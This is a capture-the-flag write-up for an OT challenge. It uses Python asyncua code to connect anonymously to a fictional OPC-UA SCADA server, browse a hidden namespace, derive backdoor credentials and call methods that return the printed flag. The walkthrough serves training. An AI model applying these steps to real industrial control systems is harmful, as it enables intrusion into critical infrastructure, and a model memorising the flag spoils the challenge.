- Generated screenshots for all 33 challenges (ESP, Hardware, IoT, OT, Misc, Web3) - Replaced all 123 placeholder lines with actual PNG image references - Cleaned duplicate images from previously partial updates - All write-ups now have full illustrated solutions
5.0 KiB
Tachibana SCADA
| Field | Value |
|---|---|
| Category | OT |
| Difficulty | Medium-Hard |
| Points | 500 |
| Author | Eun0us |
| CTF | Espilon 2026 |
Description
After the KIDS incident, forensic investigators found an OPC-UA server still running on the isolated SCADA segment at Tachibana General Laboratories.
The server allows anonymous connections. Beneath the standard industrial data, there is a hidden namespace registered by Eiri Masami before his termination.
Browse the address space. Find the hidden namespace. There is a method that was never meant to be called.
- OPC-UA Binary:
tcp/<host>:4840
Format: ESPILON{flag}
TL;DR
Connect anonymously to the OPC-UA server. Read the namespace array to find the hidden
urn:tachibana:eiri:kids namespace. Browse it to find Backdoor/Authenticate and
Backdoor/ExtractResearchData methods. Derive credentials from the namespace URI
(username=eiri, key_hash=SHA256("KIDS")[:16]). Call Authenticate, then call
ExtractResearchData with project_id=7 to get the flag.
Tools
| Tool | Purpose |
|---|---|
Python 3 + asyncua |
OPC-UA async client |
Python 3 + hashlib |
SHA-256 key hash derivation |
Solution
Step 1 — Connect anonymously
import asyncio
from asyncua import Client
async def exploit():
async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
# Step 2: discover namespaces
ns_array = await c.get_namespace_array()
print(ns_array)
['http://opcfoundation.org/UA/',
'urn:tachibana:scada', ← public SCADA data
'urn:tachibana:eiri:kids'] ← HIDDEN namespace
Step 2 — Browse the public namespace (ns=2)
Standard SCADA data: power distribution, cooling systems, Wired Interface Array.
Note Resonance_Hz = 7.83 — a Schumann resonance breadcrumb.
Step 3 — Browse the hidden namespace (ns=3)
async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
ns = await c.get_namespace_index("urn:tachibana:eiri:kids")
root = c.nodes.root
eiri = await root.get_child([f"0:Objects", f"{ns}:EiriMasami"])
kids = await eiri.get_child(f"{ns}:KIDS_Project")
bkdr = await eiri.get_child(f"{ns}:Backdoor")
# Variables inside KIDS_Project
subject_count = await (await kids.get_child(f"{ns}:SubjectCount")).get_value()
protocol7_version = await (await kids.get_child(f"{ns}:Protocol7_Version")).get_value()
# Protocol7_Version = "7.0.0-alpha" → project_id = 7
# Methods inside Backdoor
auth_method = await bkdr.get_child(f"{ns}:Authenticate")
extract_method = await bkdr.get_child(f"{ns}:ExtractResearchData")
Step 4 — Read method argument descriptions
Authenticate(username: String, key_hash: ByteString) -> session_token: String
The key_hash InputArguments description says:
"16-byte truncated SHA-256 of the project name"
Step 5 — Derive credentials
- username:
eiri— from the namespace URIurn:tachibana:eiri:kids - key_hash: SHA-256 of the project name, truncated to 16 bytes
import hashlib
# Project name = "KIDS" — from the namespace path urn:tachibana:eiri:kids
key_hash = hashlib.sha256(b"KIDS").digest()[:16]
Step 6 — Authenticate
async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
ns = await c.get_namespace_index("urn:tachibana:eiri:kids")
bkdr = await c.nodes.root.get_child(
[f"0:Objects", f"{ns}:EiriMasami", f"{ns}:Backdoor"])
auth_method = await bkdr.get_child(f"{ns}:Authenticate")
result = await c.nodes.root.call_method(
auth_method, "eiri", key_hash)
session_token = result[0]
print(f"Token: {session_token}")
Step 7 — Extract Protocol Seven (project_id=7)
extract_method = await bkdr.get_child(f"{ns}:ExtractResearchData")
data = await c.nodes.root.call_method(
extract_method, session_token, 7)
print(data[0]) # ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}
Key insights
- Namespace URI
urn:tachibana:eiri:kidsdirectly embeds both the username (eiri) and the hash source (kids) Protocol7_Version = "7.0.0-alpha"encodesproject_id = 7- Anonymous OPC-UA access is a real-world ICS misconfiguration — no authentication required
- Method argument
descriptionproperties provide all hints needed
Flag
ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}



